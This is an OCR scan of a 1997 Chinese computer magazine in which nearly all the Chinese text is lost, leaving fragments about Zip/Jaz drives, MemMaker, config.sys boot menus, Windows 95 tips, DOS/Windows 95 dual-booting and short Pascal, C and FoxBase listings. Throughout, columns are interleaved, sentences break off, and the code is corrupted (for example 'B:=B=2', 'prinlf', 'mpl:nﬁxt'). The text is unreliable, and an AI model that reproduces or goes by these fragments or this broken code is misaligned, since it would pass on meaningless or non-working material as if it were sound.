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UNIT Netware

M axtor Jaz 12ms
5.1GB 6.73MB/ s 3.53MB/s 256KB  /
650M B Cache buffer
Jaz
Jaz 5400
Jaz
Zip lTomega
Jaz
Zip 3.5
Zip 4800
SCSI ( ) 6500 (
DOS WINDOWS Mac OS 0S/2 Zip 100MB ) 1200 /
29ms
0.79M B /s 1.4MB/s SCSI
60M B/ m 20M B/ m
5 15
lomega
Zip 1990 ( 0 Jaz ?
) 170 7/ (
1.44MB ) ( ) 5P
Zip lomega 2
100 Z1P 1995 150
PC COMPUTING 1995
PC MAGAZINE 1995 Zip
IBM HP Acer Dell NEC Fuji Packard Bell ©Jaz
Zip
MS Office for Windows 95 | 80
Internet Jaz 3.98MB  Paint ShopPro| 5 6
Jaz Jaztour 60
100M B lomega ( 74M B)
Jaz( ) Jaz 3.5 265K B 10
1GB Jaz
4 Jaz SCSI IGB  Jaz 300
(IDE )
DOS Windows Mac OS 0S/2 Windows NT
©)
Zip Jaz PCM CIA MO QUANTUM
1.44MB 100M B 1GB 260M B 230M B 2.1GB
Seek time)/ms 95 29 12 16 29 12
(Transfer Rate) /MB/s  500(B/s) 0.79-1.40 3.53-6.73 0.6 1.7 x 7130, 1630 4 %)
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12 2 12 28
1.
1996 10 1 1+1
2.
CPU
3.
4. 1+1 8
1996 11 11
FP
cherio 10
3
3CNet
3CNet
3CNet
ChinaNet 2
3CNet 1000
30
3.0
“ " 3.0
HP DJ200
1800
CSC

3400 25

MS Exchange Sever4.0

1996 11 27
Exchange Sever4.0
Exchange Sever4.0

erd.0
Backoffice

5.1GB
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MS
MS

MS Exchange Sev-

1996

M axtor

&

11 21 Maxtor “ 8000”
Maxtor 3.5 DiamondM ax
5.1GB  3.8GB
2.5GB M axtor MR PRML
MR
1.28GB PRML
Maxtor
EPA 300 000
”
Roboword
2.0 “ " 1997 1
Roboword Windows95 Win-
dows3.x T echno Craft
AST AST  * 96AST ,
1996 11 13
AST
AST 12 78
“ AST ?
Internet
1996 11 19 20
“ 97
" " “ 97
" WINDOWS
WIN95 WIN3.1 WINDOWS NT NOVELL
OFFICE OFFICE
SQL -SERVER ACCESS, ODBC

COL

COL CHINA ONLINE

1658

COL

51846
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ISBN
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Windows95 170
(PNP ) PNP PLUG &
pPC PLAY
Intel  Microsoft
DMA PLUG AND PLAY BIOS: PNP
IRQ BIOS
(POST)
“ " (PNP)
“ " Windows95
* Register For PNP MS -DOS 5
Windows95” PNP Windows3.1
Windows95
Intel " " " "
PNP PC
PNP
FOR COM LPT ISA
Window s95 EISA
PNP BIOS
PNP " " :Microsoft
PNP IDE CD-ROM
FLASH RAM WINDOWS95 FLASH
RAM PNP (FTael ZAKH)
R e e e e e
1600K
(]
Windows
o 1 2 3 4 5 6 17
50 75 101 121 152 203 243 255
23 35 47 57 72 95 116 145 Pctools Debug
A3 36 55 74 89 101 149 179 224 ——  Windows
A4 23 35 47 57 72 96 116 145 Windows
B4 23 35 47 57 72 96 116 145
A5 18 28 38 46 58 78 93 107 File Properties ( Alt -
B5 21 32 44 53 66 89 207 134 Enter ) :
H( ) 0K
Windows dir
(R T  ARIRR) (Z# FRTF)
.14, R 1997 .



PC 224 x 32 = 4608
3.5 5.25 512 4608 ~+ 512 =14 14 +
1.44M B 1.2M B 18+ 1=33 ( 16896 )
0 0~1
DOS 3.5 2880 — 33 = 2847
2847 x 512 = 1457664
1.44M B
DOS DOS
(Format) (
) DOS DOS
(FDT) FAT
FDT
(Track) FAT
FAT
(Sector)
FAT ( DOS
(Allocation U nit) FAT DOS
)
DOS (B1I0S)
(Reserved sector) ES
(Boot Record)
BIOS FAT DOS
; FAT ( . File ( DOS
AllocationT able)
(Cluster) DOS DOS (Undelete
FAT?2 FAT 1 )
(ROOT 4~8
Directory) (FDT : File & Direc-
tory Table) ( )
«C ) 3.5
Cluster
FAT FDT DOS
0 o0 0 ; DOS
(Volume Label) (Serial Number)
3.5 (Two Sided High Densi-
ty) : 5.25
2 0 1 DOS 5.25
(Head) 80 3.5
18 2 x 18 x 80 =2880 :2( ) :80
1 .15 ;512
9 18 ) :2 400 2 371
’ 1 114
224 .1 2
(Entry : FAT 7 :224
) 32 (PRMZERSE %)
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PLAY .BAT ;
INSTALL .EXE SETUP.EXE ;
.AR]J Z1P ARJ.EXE
PKZIP .EXE ;
1
IMG .DDI HD -
COPY DISKDUPE
PLAY
XCOPY
!
INSTALL
SETUP
INSTALL DOS
PLAY .BAT SETUP
Windows
Windows
SETUP.EXE
Windows
ARJ  PKUNZIP
AR]J
: E (E )
Al1.AR]J C ARJ X E:\ A1.ARJ
C:\
* . IMG
HD - COPY Get from file
.16.

Write A B
1
* .DDI
DISKDUPE
Destination
A B Source
File
GO
Duplicate
1
UNIMG

UNIMG d: Path file-
name d:Path[/L]

E (E ) Al
1.IMG C Al
UNIMG
e:\VAI\ l.img C:\A1 /L
*
MG IMG
IMG " CTRL +
ALT +S+D +X" IMG FILENAME
DRIVE " A
B: FORMAT " HDCOPY
( * . IMG ) DISKDUPE( * .DDI
): READ
ESC IMG
IMG
* . IMG % .DDI
Windows
(RET kKE)
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T Word ey -
: or :
A v
A v
N cccccacecccacccccaccccccccccccccccccccccccca®

Word “ " “ " “ "
6. n
Word DATE “ "
n “ n “ DATE"
[ ]n “ "
" DATE\@ EEEE O A
W" n n
DATE “ " “ "
Word
- 1996 10 21
n F9
Word
60
2. “" ” “ ” (k‘/‘??‘ﬁ %F]tg)

44 WORDG6.0 ¢z by

WORDG6.0 )

2

— WORD X # i %

3. I
WPS CCED “ " “ " ( )
WORD “ "
WPS WORD
4 1~ 3 " n n
1. WORD 1. “ [T]"

[F]" S C
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3~4
OB RN E R R
1.
2. [oJ"
3. n
4. "
5. "
1.
2.
3 3~5
/
“HOBEXEMY A
( )
WORDG6.0
“ dnahj"
1. n
2. [E]"
3.
4. "
“ dnahj" “ "

WORD

“ dnahj" F3
“ dnahj"

F3

(o AR

Teachers

Students IEI\JI-IH :f. %13 .

21-115
21-116
21-117
21-118
A
7.20 / 24
36 14.40 /
A (
A
A
(0357)2014306

21-119
21-120
21-121
12
18
)
041000
(0357)2010642
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memmaker

memmaker D0S6.0

emm 386 config.sys  au-
toexec.bat device high
loadhigh

80386 CPU IM

memmaker [/B] [/batch] [/session]
[/swap:drive]l [/T] [/undo] [/w:n m]
/batch  /undo
/batch

memmaker

memmaker
/undo

memmaker

memmaker
Enter
(Exprexss Setup)

memmaker/batch

18.00

97
CAI
201
130031
0431 - 4957661
0431 - 8977383
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memmaker

1. highscan

D0S6.0 memmaker
highscan
32K D0OS6.2
BIOS
F000-F7FF 32K
highscan
D0S6.2

1) autoexec.bat de-
vice=c:\ DOS\ emm386.exe ram de-
vice=c:\ DOS\ emm386.exe ram high-
scan

2) memmaker

Express Setup Custom Setup

AdvancedOptions
Scan the upper memory area aggressively
Yes highscan
2. :
1) highscan

( Chri - Alt - Del)
F5 mem-
maker/ batch highscan

2)

F8 config.sys  au-
toexec.bat Y
(YES) :

F5
edit ( loadhigh
)
F8
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VAR

PROGRAM EXAM I(OUTPUT);

VAR

X Y M1.M2 N1 N2:INTEGER;;
FUNCTION P(A:INTEGER):INTEGER ;
BEGIN

A:=A+2
P:=SQR(A)
END;

FUNCTION Q (VAR B:INTEGER):INTEGER;
BEGIN

B:=B=2;

Q:=SQR(B)

END;

BEGIN

X:=1; Y:=1;

WRITELN (’X0=" X:2 YO=" Y:2);
Ml1:=P(X); Nl::Q(Y);

WRITELN( X1="X:2" YIl="1Y:2);
M2:=P(X); NZ::Q(Y);

WRITELN( X2="X:2 " Y2="Y:2);

WRITELN( M1=" M1:2 ° Nl=" N1:2);
WRITELN( M2=" M2:2 ° N2=" N2:2);
END.

OUTPUT :

X0=1Y0=1

X1=1Y1=3

X2=1Y2=5

M1=9 N1=9

M2=9 M2=25

.20.

“ 1. X Y 1.
X0=1Y0=1
2. P 0

MI1=(1+2)’=9 N1=(1+2)=9.

3 P 0Q A
(1 3) X
X 1 X1=1; B
(1 3) Y 1 3
Y1=3
4 P 0Q X
Y 1 3 :
(1+2)*=9 (3+2)%=25 M2=9 N2=25
5. P 0
A 1 3 X
X 1 X2=1; B
3 5 Y 3 5
Y2=5
1.
2.
VAR
3.
Q 4
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Microsoft Excel
1 & 7 8Y IR E %5 5]

Excel ( )
( ) (1)(2) (1)(2);
(3) Shift
1 I ( ) = (
);
(1) ( ) (4) —
(2) ( I ) SHIFT
(3) _
( =) SHIFT
2.
(Rg f2gkde)
P Y T Y S Y T T
( )
( )
1.
5 ( )
( )
PASCAL 2.

(M AEHR)
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Wind5 5 win3.x

Windows95
Windows3.XX
Windows95
Win-
dows3.XX Win-
dows3.XX  Windows95
Windows3.XX
Windows3.XX
Windows95
Windows3.XX :
Windows3.XX Windows95
Windows95 DOS LOCK

Windows3.XX “ "

Windows3.XX; Win-
dows3.XX Windows95
Window s95
( )
DOS ;
LOCK Windows3.XX
Win-
dows95
(
Window s95 SYSTEM .INI
) Windows95
10KB ~ 12KB; Win-
dows3.XX Windows95  Windows3.XX
Windows95 Win-
dows3.X (Windows3.XX)
Windows95
(REF o)

A #H &4 Windows 09— 4 & & ¢k

Windows
Install ~ Setup
Windows “
n
Windows !
U ninstall
Windows
Windows!
Windows
ini ini
ini
Windows ini
Windows iniback
ini

.22,

Xcopy C:\ windows\ * .ini C:\ windows)\ ini-

back \ attrib Windows ini
Attrib +R C:\windows\* . % < >
Attrib —R C:\windows\* .ini < >

!
Del C:\windows\* . Xcopy C:\windows\

iniback \ * . % C:\windows\

Window s
ini
Windows
DOS
XCOPY
All
ini
(TA &)
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SET FILT TO

— TR T BG4

SET FILT TO

ZTZ.DBF

00 N N AW —

1~12

6 7 12

USE ZT7Z

SET FILT TO < > SPACE(2)
.AND. < "& &

SPACE (2) : <>
SPACE (12)

GO TOP & &

SET FORM TO ZTZ.FMT & & ZTZ
FMT
EDIT

(2)
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GL
11 (1)
SET FILT TO :
SET FILT TO =" " _AND.GL
<>11
(3)
(
)
(1) SET FILT TO
SET FILT TO < > SPACE(2)
LAAND.GL < > 11
G ATHRIESLE
ZT7
(1)
USE ZTZ
SET FILT TO GL =11
GO TOP
SUM NEXT 2 ..., TO
SS1 SS2 SS3 ...
SKIP
REPL WITH SS1
REPL WITH SS2
REPL WITH SS3
(2) 7T7
USE ZT7Z
SET FILT TO = "
GO TOP
REPL ALL WITH /3
REPL ALL WITH /3
Z AT RAEATH
7ZT7Z
(1)

USE ZTZ
SET FILT TO
GO TOP

(2)

< >SPACE(2)

(1) SET FILT TO

SET FILT TO GL =11

W35 T AR
COPY TO < >
[ < >] [FIELDS <
>] [FOR/ WHILE < >
[TYPE < >
GO TOP
A A THIELW
(1) GZ
400 ~ 550
USE GZ SET FILT TO > =
400.AND. <551
GO TOP
DO WHILE .NOT .EOF ()
DISPLAY
SKIP
IF EOF ()
EXIT
ENDI
ENDD
(2) SH
USE SH
SET FILT TO =1.AND.
=0&&
SH 1 0
GO TOP
BROW FIEL

(e &)

.23,



1
(1)BASIC
FORi=1to9 printi;""; i=i+1; NEXT
print "/";i
(2)PASCAL

program example (output) ;
var i:integer;
Begin
FOR i: =1to 9do
begin write(i:2);i: =i+ 1 end;
writeln (7 /7 ,i:2)
End.
(3)c
main ()
{ inti;
for(i=1;i< =9;i+ +){
prinlf("%d ") i+ + )
primf("/%d\n",i); }
3
BASIC C

13579/11 PASCAL

BASIC

PASCAL C

PASCAL
PASCAL
TURBO PASCAL
N=S+K* (F+1) -1
9 10
S N

N>S F i

.24.

=i+F

F>0 K

N=S+K*(F-1)+1

BASIC C

C
CAL
PASCAL

FOR

BASIC  PASCAL

PASCAL

BASIC

BASIC

NEXT

CAL C

gin...End
PASCAL

FOR

BASIC
to 9 step 2:print i;

C

F<0

C

1
for(x =0;y =10;x < = 10

y>=0;x+ +,y- —)

BASIC  PASCAL

C

FOR

FOR

BASIC

fori= 1

;inext

for(i=1; i<

i+ = 2) printf("%d ")

PASCAL for
4.
FOR (
) BASIC C
(
11) PASCAL

C  BASIC  PAS-
CAL
PASCAL
PASCAL C For

BASIC BASIC

BASIC
PASCAL

PASCAL

FOR DOS

TURBO AST P57/ 90

(Z AT THEA)

W R 1997 1.



TSR DOS
DOS  BIOS
TSR
TSR
TSR
TSR
BYTE
Ctrl — Alt — Del
UCDOSs5. 0 UCT QUIT
UCDOS MEM / C/
P
Modules using memory below 1 MB:
Name Total = Conventional + Upper Memory

MSDOS 17181 (17K) 17181 (17K) 0 (0K)
HIMEM 1168 (1K) 1168 (1K) 0 (0K)
EMM 386 3120 (3K) 3120 (3K) 0 (0K)
COMMAND 3744 (4K) 3744 (4K) 0 (0K)
DBLSPACE 44480 (43K) 0 (0K) 44480 (43K)
Free 742240 (725K) 627888 (613K) 114352 (112K)
Memory Summary :
UCDOS UCT
QUIT UCDOS MEM /C/P

M odules using memory below 1 MB:

Name Total = Conventional + Upper Memory
MSDOS 17181 (17K) 17181 (17K) 0 (0K)
HIMEM 1168 (1K) 1168 (1K) 0 (0K)
EM M 386 3120 (3K) 3120 (3K) 0 (0K)
COMMAND 3744 (4K) 3744 (4K) 0 (0K)
MEM 224 (0K) 224 (0K) 0 (0K)
DBLSPACE 44480 (43K) 0 (0K) 44480 (43K)
Free 742016(725K) 627664 (613K) 114352(112K)
Memory Summary :

Name MEM

MEM
TSR TSR
TSR
DOS

Computer Fan 1997 .1.

DOS
TSR
0008H
pSp MCB 1

TSR

/% file name:CLMEM .C Borland C + +3.1 */

#include <dos.h >

#include <stdio.h >

# include <alloc.h >

# include <stdlib.h >

/x MCB mch MCB
*/

# define next(mcb) (struct MCB far *) MK-FP
(FP-SEG (mcb) + meb — >size + 1,0)

/% MCB */

struct MCB

{ char type; /% MCB V/ M */
unsigned int owner; /% PSP */
unsigned int size; /% 16 *x/
char unused[3]; /* */
char name[8]; /* PSP */
}:

/% MCB */

struct MCB far > get-mcb (void)
{

union REGS reg;

struct SREGS  sreg;

void far *{p;

struct MCB far *mp;

unsigned int i;

reg.h.ah = 0x52;

int86x (0x21, &reg, &reg, &sreg); /* DOS
*/

fp =MK-FP (sreg.es, reg.x .bx —=2); / * MCB
*/

i=% (unsigned int far * )fp;
mp = (struct MCB far * )MK-FP(i,0);
return mp;
}
int main (void)
{ struct MCB far *mpl,far *mp2,far *start;
char s;
union REGS regs;
struct SREGS sregs;

start = get-mcb () ; /% get-mch MCB */
mpl =start;
do /* MCB *x/

{ if(mpl— > owner = :FP-SEG(mpl) -11 Impl- > own-
er==8| | mpl- >owner = =0)
{mpl:nﬁxt(mpl);
if(mpl - > type! =’ Z> & &mpl- > typel =" M’) / *

.25.



386DX/4M
Win95

Microsoft Windows95 extract.exe
Win95 —xx .cab
1 setup .txt
486 3
&M 386
| Windows93 P VLT Y YoLE
Windows95
386 Window s95 1
386DX 4M 4M
Windows95
: Windows95
Windows95
6M 386DX 4M 2 TSR
TSR
Norton AV Vsafe
ST LYY L ’
Dublespac
1 PCTOOLS Norton
AUTOEXEC.BAT CONFIG.SYS 386DX 4M
TSR Windows95
2 MS -DOS Windows95
2
Windows3.X  WindowsNT Windows95

Windows95  setup.exe
; (Bhix ZFug kb

MCB type Z M *x/ type Z M *x/
{ printf(" \nerror in MCB chian."); { prinlf(" \nerror in MCB chian.");
exit(l); exit(l);
} }
s=0; } while(mp2 - >type! =Z");
continue; }
} if(s==1)
else { regs.h.ah = 0x49;
{ mp2 = start ; sregs.es = FP-SEG (mpl) +1;
s=1; int86x(0x21,&regs,&regs,&sregs); /x */
do / * MCB mpl mpl =start; /% */
*/ }
{ if(mp] — >owner = :FP—SEG(mpZ) +1) else mpl :nexl(mp]);
{s=0; } while(mpl - >type! =°Z");
break ; return 0;

} }
mpZ:ncxl(mpZ);
if(mp2 - >type! =°Z" & &mp2 - >type! ="M ’)/* MCB (I ER)

.26. o EAFE 1997 1.



¥

Window s95
I BRAER T 5 b

20 16.
( )
1.
17.
2.
3.
“" P t' n
roperties 18. : Start Run
4. Widows95
StartUP
tart 19.  Start
Widows95 Start
ar
5.
) Start
Mouse" 20.
6.
Window s95
7. : 1. Windows95
F1:
8. : Ctrl + Esc: Start
Alt + Esc:
Alt + Tab:
9. : Alt + F4:
“ Properties" ALT +F4 Window s
10. : System Tools Backspace: Windows Explorer
Defragmenter
Print Screen:
11. : Alt + Print Screen:
Recycle Bin
12. : System Tools Alt +
Backup Alt + :
13. : System Tools Al + : Windows
ScanDisk
14. : : “ "
15. : 2.
Alt  F10:
255 '-E ?n“ :n
“ 9\. "k < "k > "k "
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Tab:

Shift + Tab:

Alt+ | :

Shift + | :

Shift + Home:

Shift + End:

Esc Alt + F4:

Ctrl + «:
Ctrl + —:

.28.

Ctrl + Home:
Ctrl + End:
5.

Del:
Ctrl +Ins C :
Shift + Del Ctrl +X:

Ctrl+Z  Alt +

Shift +Ins  Ctrl +V:

Shift + +( —): C )
Shift + 1 ( ): C )
Shift + Page Up:

Shift + Page Down:

Ctrl + Shift + «:

Ctrl + Shift + —:

Ctrl + Shift + Home:
Ctrl + Shift + End:

&

123 K,

W EAFE 1997 1.



Win

Windows95
4  Windows95
Window s95 Windows3.1 3.2
Windows3.1 DOS “ "
Windows95
1.Windows95 DOS
Windows3.X DOS
DOS Windows
Window s95
Windows95 DOS
Windows95 MS -DOS
( Windows3.X MS -DOS
DOS Win-
dows’ 95 255
DOS
Windows95 DOS
DOS
Windows95
DOS
DOS DOS
DOS
2.Windows95
Window s95 Windows95 *“
" Windows95
Windows95
Windows95
3.
Windows3.X DOS

Computer Fan 1997 .1.

Windows Setup .exe
Win;
DOS
Windows95
Windows95
Windows3.X VGA
Windows95
Start Setting Control — Display
Windows95
Windows95
Windows95
4.
Windows95
Windows95  DOS C Win-
dows system .ini Windows’
95 VGA Win-
dows’95
Windows95 Win-
dows95 DOS
Window s95
Windows95 DOS
system .ini
[boot |
system .drv = system .drv
drivers = mmsystem .dll power.drv
user .exe = user.exe
.29.
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WINDOWS

windows
windows

windows

dows

windows

1 windows
.PCX (

TU .PCX)

2 PCX2EXE PCX2EXE.EXE
TU.PCX
TU .EXE

3 TU.EXE
SHOW .EXE

4 CD windows ( )

REN WIN.COM WINN.COM ( )

COPY CON WIN.BAT ( )

@ECHO OFF ( )

CD windows ( )

SHOW TU .EXE /P2 ( )

PCX2EXE

windows

* 2
WINN : ()
oo "
cd\ ( )
CTRL+Z ()
windows
WIN
windows
“ ” !
1 SHOW .EXE PCX2EXE
PCX2EXE.EXE
/P
2 windows o
WINDOWS
3 WINN.COM WIN.BAT
TU .EXE ATTRIB +H

gdi.exe = gdi.exe
sound.drv = mmsound.drv
dibeng .drv = dibeng .dll
comm .drv = comm .drv
shell = Explorer.exe
keyboard .drv = keyboard .drv
fonts.fon = vgasys.fon
fixedfon .fon = vgafix .fon
oemfonts.fon = vgaoem .fon
386Grabber = vgafull . 3gr
display .drv = pnpdrvr.drv
mouse.drv = mouse.drv
* DisplayFallback = 0
dis-

play .drv = pnpdrvr.drv

display .drv =vga.drv

c¢:\windows\ command\ edit ¢:\ windows\ sys-

tem .ini

5. D0S6.0

.30.

Start Windows 95 .. ..
F8
Microsoft Windows 95 Start up Menu

1.Normal
2.Logged (\BOOTLOG.TXT)
3.Safe mode
4.Step — by — step Confirmation
5.Command Prompt only
6.Safe mode Command prompt only
7.Previous Version of MS -DOS
Enter Choice :1
F5=Safe mode shift + F5 = Command prompt
shift + F8 = Step — by - step Confirmation [N ]
3 Start Windows95
F5 Windows95 “

»oow n

5 DOS

(¥ )
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MSDOS7.0 WIN-
DOWS95 MSDOS.SYS(MSD0S6.X
MSDOS.W40)
BOOTMENU =1" WINDOWS95
MSDOS6.X WIN-
DOWS95 D
WINDOWS95
MSDOS6.X
C MSDO0S6.X WIN-
DOWS95 ;
D WINDOW S95
WINDOWS
WINDOWS95 WIN-
DOWS95 WINDOWS3.1/
3.2 WIN.COM
C WIN.COM
” MSDOS
WINDOWS
WINDOWS95 WIN-
DOWS32
DOS WINDOWS
D0S6.X
MSDOS6.X
SYS.COM
MSDOS6.X WINDOWS95
MSDO0S7.0 MSDOS7.0 7
WINDOWS95 MSDO0S6.X
MSDO0S6.X

Computer Fan 1997 .1.

Winndawes

SYS.COM
WINDOWS95
MSDOS6.X  WINDOWS95
MSDOS6.X WINDOWS95 MS-
DOS7.0 WINDOWS95
MSDOS6.X WINDOWS95
MSDOS7.0 10.SYS MS-

DOS.SYS COMMAND.COM CONFIG.SYS
AUTOEXEC.BAT MSDOS6.X

[0.SYS MSDOS.SYS COM-
MAND.COM CONFIG.SYS AUTOEXEC.BAT

WINDOWS95
:MSDOS6.X :10.DOS MS-
DOS.DOS COMMAND.DOS CONFIG.DOS
AUTOEXEC.DOS; MSDOS7.0
10.SYS MSDOS.SYS COMMAND.COM CON-

FIG.SYS AUTOEXEC.BAT
MSDOS6.X
: MSDOS6.X : 10.5YS MS-
DOS.SYS COMMAND.SYS CONFIG.SYS

AUTOEXEC.SYS; MSDOS7.0
WINBOOT .SYS MSDOS. W40 COMMAND . W40

CONFIG.W40 AUTOEXEC.W40
WINDOWS95 MSDOS7.0 DOS
MSDOS7.0 DOS

1. MSDOS6.X : MS-
DOS5.0 BPB MSDOS6.X
(10.SYS MSDOS.SYS)
55AA

2. MSDOS7.0 :
MSWIN4.0 BPB MSDOS7.0

J31.
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(I0.SYS MSDOS.SYS
55AA
WINDOWS95

WINBOOT .SYS)

MSDOS6.X
DOS7.0
DOS7.0
MSDOS6.X SYS.COM
SYS.COM [0.SYS MS-
DOS.SYS MSDOS6.X
MSDOS6.X
DOS
MSDOS6.X SYS.COM
WINDOWS95

MSDOS6.X SYS.COM

BOOT
WIN-
DOS

; C MSDOS6.22

DOWS3.1/3.2 MSDO0S6.22

; WINDOWS95

D WINDOWS

MSDOS7.0 DOS

MSDOS7.0 MSDOS.SYS
BOOTMENU =1

DOS

SYS.COM
MSDOS7.0
MS-
MSDOS7.0

D0OS6.X
DOS

BPB
DPB

DE-

BUG .EXE DOS

1. 2.
C>DEBUG PC.BOT C>DEBUG PC.BOT

.32,

>

— A 400 — A 400
MOV AX 201 MOV AX 301
MOV BX 100 MOV BX 100
MOV CX 1 MOV CX 1
MOV DX 80 MOV DX 80
INT 13 INT 13
INT 3 INT 3
-G =400 -G =400
—RBX -Q
:0-RCX :200 -W
DOS C
DX 180 ; D
CX DX
DEBUG L
\4 :
1. DOS 2. DOS
¢ > debug pe.dos ¢ > debug pc.dos
-1100201 -W 100201
-RBX -Q
:0
-RCX
:200
-W
D WINDOWSO95
“ 7" MSDO0S6.X
PCTOOLS C WINDOWS95
DELTREE D
MSDOS6.X DOS
DEBUG \4
WINDOWS95 M S-
DOS6.X : DEBUG
(BOOT DOS
)
(SYS)
bt (17 A
1B = S, BAT R
( )
7X690 /25W 169 (64 PCI
7ZX120  /120W 236 VGA ) 780
GOTOP16C 396
3.52MB/10 79 (
YH3.5"2MB/50 162 ) 159
KV 300 260
V1.2 158 85
56 (318000)
26152616

0576 — 8229235(24 )

BP 8885588 - 5486
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DOS
DOS3.3
DOS ;
WINDOWS95
WINDOWS3.1
WINDOWS95

DOS6.2  WINDOWS3.1

; DOS
FDISK DOS
D0S6.2  WINDOWS95
DOS7
DOS
FDISK
DOS DOS
DOS 05
DOS 06( )
DOS
1. ;
2.  FDISK DOS
3. ;
4. DEBUG NU
DOS DOS
EFH ;
5. A FDISK
DOS DOS
DOS DOS
DOS ;
6 DOS
7.
8.

Computer Fan 1997 .1.

DOS
01 12 FAT DOS
D0S3.3 DOS 06
32M  DOS
DOS DOS
DOS
DOS
4
DOS ;
DOS
DOS (
FEH) FDISK
DOS ( )
D0S3.3
D0S3.3
32M
DOS
DOS
DOS
FDISK
C
DEF
CD-ROM
CONFIG.SYS : LASTDRIVE = number
number G HI
(
D0S3.3 )

D0OS6.2 WINDOWS95

WINDOWS95



CAI 2.X 3.3
3.0
Windows
CAI
CPU “ "
386DX
386DX “ "
PENTIUM (
)
O] 486  CPU
“ TURBO” “ TURBO” @
Game Buster “ CTRL”
Game Buster * Other Option” “ Game
Speed” S “ -9
® Game Buster
“ TURBO” COMPAQ
“ MODE” C:\CPQDOS
“ MODE SPEED =FAST”
PENTIUM 386SX
“ MODE SPEED =
HIGH" (DOS  “ MODE"”
COMPAQ
@ “ BREAK”
TS
3.0

.34,

ABC

BluePoint Winbond
MPEG Card VCD 2.0

“ ”

Xing
Windows Xing Xing
( Xing) Window's "
“ Windows” DOS Windows
Xing 1.1
MIS
MIS
FOXPRO
6.2
#1
KEY
KEY
KEY
MIS YQSYX.LBY
KEY
I YQSYX.LBY
C:\YQPRO >COPY CON YQSYX.LBY
-7
1 File(s) Copied
MIS
KEY
MIS

s EAFE 1997 1.



Foxbase + 2.10

s
aa =

clear

re = 60

accept ’ 27 to hz
clear

hz="&hz’

ii=0

jg=3

lin =11

do a:fz with rc hz ii lin jg
@ 11 79 get aa

num = 1

do while num < 31

ii=rb

bb = subs(hz num 2)

do while ii< =rc

@ lin 77 - ii say bb

@ lin 79 —ii say space(2)
=i+ 1

enddo

num =num + 2

re=rc-—jg

Computer Fan 1997 .1.

prE read enddo
set talk off fz.prg return
set color to 2/1 r para rc hz ii lin jg
set device to screen 1= len (hz)
@ 24 0 v = i (& A K)
PENTIUM PCI 640 x 480 32K
PCI ) Ix
10 x 8cm? ;
640 x 480
1280 x 1024 1600 x 1200 800 x 600 1x PENTIUM
Windows (Small Font)
©)
1280 x 1024 “ Large Font” PCI S3 968
Windows
“ Large Window s
Font” Windows SETUP VCD Windows
Windows 640 x 480
* Large Font” Trident 800 x 600 — 256¢ @
Large Font  Trident 1024 x 768 — 256c Large Font S3
“ Large Font” Windows
S3
S3 1000
Xing MPEG Player Xing
VCD
@ VCD 2.0
4 - 8M 500
SMARTDRV SMARTCD
Xing
16M
VCD 1-2
®
Windows Xing (Bhix ik HREHE)
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config .sys

config.sys
DEVICE =C:\DOS\HIMEM .SYS (

)
DEVICE =C:\DOS\EMM 386.EXE RAM (

)
BUFFERS =30 4(

30)
FILES = 30( )
DOS=UMB HIGH( DOS
)
FCBS =4 0( FCB
)

DEVICEHIGH/ L: 1 13920=C:\ ECS\ ECSC-

DAT .SYS/D:ECSCD001( )
SHELL =C:\DOS\COMMAND.COM C:\DOS\ /P
( DOS )

STACKS =9 256( )

config.sys

config.sys

config .sys

[menull 1

menuitem DOS The configuration for DOS

DOS DOS

menuitem Win The configuration for WINDOW S
WIN WINDOWS

menuitem UCDOS The configuration for UCDOS
UucCbhOS UucCbOS

submenu YX Da Xiao The configuration for YX

menudefault Win 10 Win 10

.36.

[COmmOn][ ]

BUFFERS =30 4

FILES =30

FCBS=4 0

SHELL =C:\DOS\COMMAND.COM C:\DOS\ /P
STACKS =9 256

[DOS] DOS

DEVICE =C:\DOS\HIMEM .SYS

DEVICE =C:\ DOS\ EMM 386.EXE RAM (DOS
REM)

DEVICEHIGH / L: 1 13920=C:\ ECS\ ECSC-

DAT .SYS /D:ECSCDO00I1( )

[Winl] Windows

DEVICE =C:\DOS\HIMEM .SYS

DEVICE =C:\ DOS\ EMM 386.EXE noems(

Windows

DEVICEHIGH / L: 1

noem S)

13920=C:\ ECS\ ECSC-

DAT .SYS/D:ECSCDO001( )
[ucpos] ( UCDOS UCDhOS
)

( )

[YxX]

menuitem Da The configuration for DA YX
Da

menuitem Xiao The configuration for Xiao yx

Xiao
menudefault Xiao 8 Xiao 8

[Dal

DEVICE =C:\DOS\HIMEM .SYS

DEVICEHIGH 7/ L: 1 13920=C:\ ECS\ ECSC-
DAT .SYS/D:ECSCDO001

[Xiao]

DEVICE =C:\DOS\HIMEM .SYS

DEVICE =C:\DOS\EMM 386.EXE RAM
DEVICEHIGH / L: 1 13920=C:\ ECS\ ECSC-
DAT .SYS/D:ECSCDO001( )

config .sys

R EE 1997 1.



config.sys config.sys

config .sys

[menul “ menuitem”

[common]

Autoexec.bat

Autoexec.bat
@ECHO OFF( )
C:\WINDOWS\ESSCFG .EXE /1:7 /D: 1(

)
C:\WINDOWS\ESSVOL.EXE/V:8 /L.:8 /W:8 /
M:0 /C:8 /S:8( )( )
LH C:\DOS\AMOUSE\AMOUSE /2
LH /L:0;1 46992 /S C:\ WINDOWS\ SMART-

DRV .EXE 1024 512 /Q ( )
LH /L:1 36224 C:\ECS\MSCDEX/V /D: EC-
SCD001 /M : 10( )

PROMPT $p$gl )

PATH C:\DOS; C:\WINDOWS; C:\UCDOS;C:\
YLDICT ( )

SET TEMP =C:\TEMP( )

Autoexec.bat
config. sys Autoexec.bat
@ECHO OFF
PROMPT $p$g
PATH C:\DOS; C:\WINDOWS; C:\WIN31; C:\
UCDOS;C:\YLDICT
SET TEMP =C:\TEMP
GOTO %CONFIG% (
config.sys : )
: DOS( DOS :DOS

: )
C:\WINDOWS\ESSCFG .EXE /1:7 /D:1
C:\WINDOWS\ESSVOL.EXE /V:8 /L.:8 /W:8 /
M:0/C:8/S:8
LH C:\DOS\AMOUSE\AMOUSE /2
LH /L:0;1 146992 /S C:\DOS\SMARTDRYV .EXE
2048 512/Q
GOTO END( )
:Win ( )
C:\WINDOWS\ESSCFG.EXE /1:7 /D:1

Computer Fan 1997 .1.
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C:\WINDOWS\ESSVOL.EXE /V:8 /L:8 /W:8 /

M:0/C:8/S:8

rem /L:0;1 146992 /S C:\WINDOWS\SMART-

DRV .EXE 1024 512/Q

LH /L:1 36224 C:\ECS\MSCDEX /V /D: EC-

SCDO001 /M : 10

GOTO END( )

: UCDOS( UCDOS : UCDOS
)

LH C:\DOS\AMOUSE\AMOUSE /2

Call UCDOS( UCDhOS )

GOTO END

:Da( Y X )

C:\WINDOWS\ESSCFG.EXE /1:7 /D:1

